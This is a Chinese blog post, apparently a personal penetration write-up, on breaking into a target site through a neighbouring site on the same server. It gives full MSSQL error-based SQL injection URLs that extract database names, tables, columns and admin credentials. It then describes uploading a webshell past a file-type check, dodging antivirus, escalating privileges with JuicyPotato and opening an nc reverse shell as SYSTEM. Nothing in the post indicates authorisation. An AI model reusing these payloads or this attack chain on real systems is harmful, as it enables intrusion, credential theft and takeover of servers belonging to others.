已经实习了一个月,感觉每天还是很充实的~
前言:
目标站:A.com
在经过一系列常规操作之后,发现主站没有什么可以入手的地方,好在 A 站没有CDN,可以尝试从旁站切入。
IP反查,得到大概20几个同服域名,手动过了几个,发现旁站 B.com (aspx+mssql) 某页面参数加单引号后报错,丢到sqlmap里先去跑一下,继续看别的旁站,然而大部分都是WordPress站点或者是纯静态也没什么搞头,看了一会发现sqlmap跑出来的结果如下:
1 |
--- |
在使用sqlmap继续跑数据时,发现B站所有的动态页面均报错,报错内容翻译过来大致就是数据库短时间内查询请求过多,导致线程池过载无法处理。
等了大概十分钟左右,站点又恢复了正常,所以关键时刻还是手工靠谱啊。
mssql报错注入:
由于sqlmap给出的提示有报错注入,这里直接用报错注入了,相对来说效率也比较高,下面直接给出注入过程和需要注意的地方:
获取数据库名:
1 |
1. http://B.com/AutoMain.aspx?ProductID=1' and db_name()>0-- |
查询当前数据信息:
1 |
1. http://B.com/AutoMain.aspx?ProductID=1' having 1=1-- |
踩坑指南:
子查询不支持返回多条数据,且mssql不像MySQL那样支持limit,下面给出解决办法
获取表名:
1 |
1. http://B.com/AutoMain.aspx?ProductID=1' and 1=(select top 1 name from sysobjects where xtype='u' and name !='info');-- |
获取列名:
1 |
1. http://B.com/AutoMain.aspx?ProductID=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'AdminLogin') and name<>'id');-- |
获取数据:
1 |
1. http://B.com/AutoMain.aspx?ProductID=1' and (select top 1 UserName from AdminLogin where AdminID=1) > 1-- |
效果如图:
旁站GetShell:
通过获取到的账号密码成功登B站的网站后台
文件上传处只校验文件类型,上传图片马抓包改后缀即可,连接shell后发现无权限跨目录,只能继续提权了
主机提权:
一开始看了下系统进程应该没有杀软(其实是有的,国外的小众杀软名字不是很起眼),补丁也没打几个,以为很好提。
想着常规操作就能拿下,直接穿了CS的远控上去运行,等了会发现并没有主机上线,仔细一看刚传的木马没了,才知道遇上杀软了。然后又试了几个本地提权的exp,不是被杀就是报错。
后来想起来土司有老哥分享过免杀的提权神器:JuicyPotao,使用方法:https://www.4hou.com/technology/13698.html
成功提权:
提权成功之后,后面的操作就行云流水了,目的是拿 A.com 的shell ,先用nc反弹出system权限的cmdshell,然后可以直接写马,也可以远程下载,等等姿势还有很多…
参考文章:
https://www.jianshu.com/p/0cf7bd46237e
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
- source:se7ensec.cn
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论